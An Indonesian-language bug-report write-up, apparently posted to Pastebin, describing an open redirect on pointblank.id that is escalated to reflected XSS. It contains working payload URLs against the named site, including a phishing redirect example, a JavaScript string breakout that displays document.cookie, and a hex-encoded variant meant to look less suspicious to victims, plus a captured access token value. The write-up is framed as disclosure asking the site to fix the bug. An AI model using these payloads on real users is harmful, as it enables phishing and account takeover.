ToKeiChun

WriteUp OpenRedirect/XSS [Faundra][pointblank.id]

Jul 24th, 2019
306
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 8.13 KB | None | 0 0
  1. ##########################################################################
  2. $ ~> TITLE : PENEMUAN BUG OPEN REDIRECT LEAD TO XSS $
  3. $ INJECTION AND CAN STEAL USER COOKIE .. $
  4. $ ~> DOMAIN : https://www.pointblank.id $
  5. $ ~> SEVERITY : MEDIUM-HIGH $
  6. $ ~> FOUNDER : Faundra $
  7. $ ~> CONTACT : robot.mikhro.fllupy@gmail.com $
  8. $ ~> DATE FOUND : Minggu, 07/04/2019 $
  9. ##########################################################################
  10.  
  11. •Perkenalkan, nama saya Faundra ..
  12. •Saya adalah seorang Bug Hunter..
  13.  
  14. Saya menemukan bug pada domain utama website Point Blank
  15. Zepetto Indonesia. Jenis bug ini tidak secara langsung menyerang
  16. sisi backend dari website. Namun jika dibiarkan tentu bug ini bisa
  17. merugikan user yang awam ketika ada orang yang tidak bertanggung
  18. jawab , menggunakan bug ini untuk mengambil alih akun user.
  19.  
  20. Berikut langkah-langkah nya:
  21.  
  22.  
  23. #OPEN REDIRECT#
  24.  
  25. 1. Pertama saya mengunjungi domain pointblank.id dengan tujuan
  26. untuk melihat event-event apa saja yang sedah berlangsung.
  27.  
  28. 2. Setelah melihat-lihat sebentar , entah kenapa saya berpikir untuk
  29. melakukan penetration testing pada website ini.
  30.  
  31. 3. Saya pun login , dan masuk kebagian dashboard/halaman info
  32. user untuk mengecek kemungkinan adanya bug.
  33.  
  34. 4. Dan setelah saya melihat-lihat , perhatian saya tertuju pada
  35. bagian tombol/widget "PUSAT ISI ULANG PB"
  36.  
  37. 5. Saya pun langsung mengklik tombol/widget tersebut dan saya
  38. langsung ter redirect ke halaman link
  39. https://topup.pointblank.id/Topup/Index
  40.  
  41. 6. Saya pun kembali ke halaman/link sebelumnya
  42. dan langsung curiga serta mencari tahu.
  43.  
  44. 7. Lalu saya menemukan hal yg unik yang membut saya
  45. penasaran untuk mengexplorenya lebih dalam .
  46. Ketika saya mengklik "PUSAT ISI ULANG PB" saya melihat
  47. parameter "?redirect_url=https://topup.pointblank.id" dimana
  48. jika digabung ke link domain menjadi seperti:
  49. | https://www.pointblank.id/topup/auth?redirect_url=https://topup.pointblank.id |
  50.  
  51. 8. Saya pun langsung berpikiran bahwa parameter ini vuln akan
  52. bug "Open Redirect" .
  53.  
  54. 9. Untuk melakukan pengecekan saya mencoba menggati url pada
  55. parameter tersebut menjadi https://www.google.com. Dan benar saja,
  56. saya langsung ter redirect ke halaman utama google.com tanpa
  57. ada "Alert/Peringatan akan meninggalkan Website" .
  58.  
  59. 10. Disini saya langsung menyimpulkan bahwa parameter ini vuln
  60. akan bug yang bernama `Open Redirect ` .
  61.  
  62. *IMPACT :
  63. Untuk Bug Open Redirect Attacker bisa saja menyisipkan "URL Web Phising"
  64. yang sudah di
  65. shortener dengan bit.ly lalu mengirimkan ke victim/korban melalui
  66. email/ media sosial lainnya dengan iming-iming akan mendapat
  67. hadiah. User/victim/korban yang awam mungkin akan langsung percaya
  68. dan mengklik link yg dikirimkan oleh attacker tersebut karena melihat
  69. ada domain resmi dr pbnya . Contoh:
  70. | https://www.pointblank.id/topup/auth?redirect_url=https://bit.ly/2uX4ygk |
  71.  
  72. ==============================================================================
  73.  
  74. #LEAD TO XSS INJECTION
  75. •Setelah menemukan bug open redirect , saya berpikiran apakah bug ini
  76. bisa menjadi bug XSS Injection juga. Lantas saya mencoba melakukan
  77. sniff pada lalu lintas data dengan SSL Packet Capture.
  78. •Saya kembali mengakses url tersebut & menyalakan SSL Packet Capture.
  79.  
  80. 1. Ketika saya melihat hasil sniff , saya menemukan bahwa url pada parameter
  81. "?redirect_url=" ter-refleksi kedalam kode javascript .
  82. ------------------------------
  83. Berikut kodenya: |
  84. ======================================================================
  85. <script type="text/javascript">
  86. $(window).on("load",
  87. function() {
  88.  
  89. document.location='https://www.google.com?access_token=8yBkBhDOZOgz1cumNxfU5LOSFnjD0b987fBeSkohI8sFZkSFgCK7srgi0qcQIe5Tc3G6nB4PNyzTOMTbag%2FEL1hsoil4ylm512bHE74iuE4%3D';
  90.  
  91.  
  92. });
  93. </script>
  94. ======================================================================
  95.  
  96. 2. Kode inilah yang membuat user dapat ter-redirect ke link yang ada pada parameter.
  97.  
  98. 3. Saya dgn dibantu oleh rekan saya, mencoba memahami alur & konsep dari kode ini , lalu saya
  99. menemukan cara agar dapat
  100. membypass properti/string "document.location" .
  101. Saya menggunakan :
  102. '.substr(0,0).concat(document.location);document.write('abcd');//
  103. •Menjadi seperti ini :
  104. | https://www.pointblank.id/topup/auth?redirect_url=https://www.google.com%27.substr(0,0).concat(document.location);document.write(%27abcd%27);javascript:prompt("xss3d%20by%20mikhro",document.domain);// |
  105.  
  106. Dan ketika diakses saya berhasil mem-bypass "document.location" yg menuju google.com dan saya ter-redirect ke halaman blank
  107. yang bertuliskan "abcd", untuk memunculkan popup saya tinggal menambahkan ";javascript:alert(2);//" .Menjadi Seperti ini :
  108. | https://www.pointblank.id/topup/auth?redirect_url=https://www.google.com%27.substr(0,0).concat(document.location);document.write(%27abcd%27);javascript:prompt("xss3d%20by%20mikhro",document.domain);// |
  109.  
  110. Penjelasan kode :
  111. ~ document.location = '......'; <= Kan udah ada isinya yaitu google.com kita bersihin dulu pake substr.
  112. atau bisa dikatakan bahwa substr itu buat ngambil slice dari string nya .
  113. ~ Disitu 0,0 artinya ambil dari index 0 sampe 0, sedangkan ini kan berarti string kosong.
  114. ~ Trs .concat buat gabungin string sama string. Karena sebelumya disitu udh ada , kita buat jadi string kosong.
  115. Nah biar gak ke redirect diisi pake value yang sama.
  116. ~ Kenapa mesti "document.location" ? Soalnya itu ngereplace document.location
  117. sama string yg baru, kalau di replace sama dirinya sendiri kan berarti
  118. engggak ada yg berubah. Umpamanya nya jadi kayak gini document.location = document.location.
  119. ~ Langsungyoba deh exec js nya sama knp ada // soalnya disitu ada query google jd ngga mau keganggu itu jdnya tinggal di kasi // (comment).
  120.  
  121. *IMPACT :
  122. Untuk Bug XSS Injection , dapat mencuri cookie dengan method cookie stealer dan sedikit social engineering dengan mengirimkan
  123. url yang sudah dimodifikasi seperti ini:
  124. | https://www.pointblank.id/topup/auth?redirect_url=//www.google.com/2uX4ygk'.substr(0,0).concat(document.location);document.write('<center><h1><b>THANK YOU FOR YOUR ATTENTION ! :D</b></center></h1>');javascript:prompt("Dibagian ini user cookie user bisa dicuri oleh sang Attacker/Hacker ! Ini dia cookienya :",document.cookie);// |
  125. •Dan untuk mengurangi perasaan curige dari victim , maka sang attacker
  126. melakukan encode pada url tersebut menjadi seperti ini :
  127. | https://www.pointblank.id/topup/auth?redirect_url=%2f%2fwww.google.com%2f2uX4ygk%27%2e%73%75%62%73%74%72%280%2c0%29%2e%63%6f%6e%63%61%74%28%64%6f%63%75%6d%65%6e%74%2e%6c%6f%63%61%74%69%6f%6e%29%3b%64%6f%63%75%6d%65%6e%74%2e%77%72%69%74%65%28%27%3c%63%65%6e%74%65%72%3e%3c%68%31%3e%3c%62%3e%54%48%41%4e%4b%20%59%4f%55%20%46%4f%52%20%59%4f%55%52%20%41%54%54%45%4e%54%49%4f%4e%20%21%20%3a%44%3c%2f%62%3e%3c%2f%63%65%6e%74%65%72%3e%3c%2f%68%31%3e%27%29%3b%6a%61%76%61%73%63%72%69%70%74%3a%70%72%6f%6d%70%74%28%22%44%69%62%61%67%69%61%6e%20%69%6e%69%20%75%73%65%72%20%63%6f%6f%6b%69%65%20%75%73%65%72%20%62%69%73%61%20%64%69%63%75%72%69%20%6f%6c%65%68%20%73%61%6e%67%20%41%74%74%61%63%6b%65%72%2f%48%61%63%6b%65%72%20%21%20%49%6e%69%20%64%69%61%20%63%6f%6f%6b%69%65%6e%79%61%20%3a%22%2c%64%6f%63%75%6d%65%6e%74%2e%63%6f%6f%6b%69%65%29%3b%2f%2f |
  128.  
  129.  
  130. •Besar harapan saya agar pihak Admin dari Web Point Blank Zepetto Indonesia
  131. dapat segera tanggap dan memperbaikinya sebelum ada orang yang tidak
  132. bertanggung jawab dengan memanfaatkan bug tersebut demi kepentingan
  133. sendiri yang dapat merugikan user/player tertentu.
  134.  
  135. •Sekian Laporan bug dari saya . Kurang lebihnya mohon maaf , terima kasih !
Add Comment
Please, Sign In to add comment